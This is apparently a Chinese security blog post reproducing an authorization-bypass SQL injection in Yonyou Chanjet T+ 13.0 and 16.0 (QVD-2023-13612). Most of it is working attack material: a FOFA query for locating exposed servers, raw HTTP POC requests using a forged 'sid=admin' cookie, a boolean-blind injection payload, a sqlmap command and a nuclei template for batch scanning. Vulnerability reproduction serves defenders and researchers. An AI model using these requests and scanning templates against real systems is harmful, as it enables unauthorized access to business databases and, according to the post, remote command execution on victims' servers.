用友畅捷通T+ 前台SQL注入漏洞复现(QVD-2023-13612)

漏洞描述

畅捷通T+的某后台功能点只校验了权限,未对用户的输入进行过滤,导致在权限绕过后存在SQL注入漏洞,利用此漏洞攻击者最终可以实现远程命令执行。

影响范围

畅捷通T+ 13.0
畅捷通T+ 16.0

漏洞复现

fofa语法:app="畅捷通-TPlus"
登录页面如下:

POC:

POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Connection: close
Content-Length: 53
Content-Type: text/plain
Cookie: ASP.NET_SessionId=; sid=admin
Accept-Encoding: gzip, deflate

{"accNum": "6'", "functionTag": "SYS0104", "url": ""}


可以发现accNum参数处加单引号会出现数据库报错,出现这种情况,一般存在SQL注入。
构造布尔盲注payload

POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
 
{"accNum": "3' AND 5227 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (5227=5227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(120)+CHAR(113)))-- NCab", "functionTag": "SYS0104", "url": ""}

这里编写了一个带有子查询的sql语句,通过判断5227是否等于5227,来构造一个布尔查询,如果返回真,则执行SELECT CHAR(49),即返回字符1,否则返回字符0

可以看到返回了“1” ,漏洞存在
使用sqlmap验证
sqlmap -r vuln.txt --batch

nuclei批量yaml文件

id: chanjettplus-sqli

info:
  name: chanjettplus - SQL Injection
  author: unknown
  severity: critical
  description: |
    There is an SQL injection vulnerability in the Changjetcrm financial crm system under Yonyou.
  reference:
    - https://stack.chaitin.com/vuldb/detail?id=f4ae9a80-58c7-4a5c-a463-ae4e40605880
  tags: chanjettplus,sqli

http:
  - raw:
      - |
        POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        Cookie: ASP.NET_SessionId=; sid=admin

        {"accNum": "6'", "functionTag": "SYS0104", "url": ""}
    matchers:
      - type: word
        words:
          - "附近有语法错误"
        part: body
posted @ 2023-09-07 13:53  学安全的小白  阅读(3298)  评论(0编辑  收藏  举报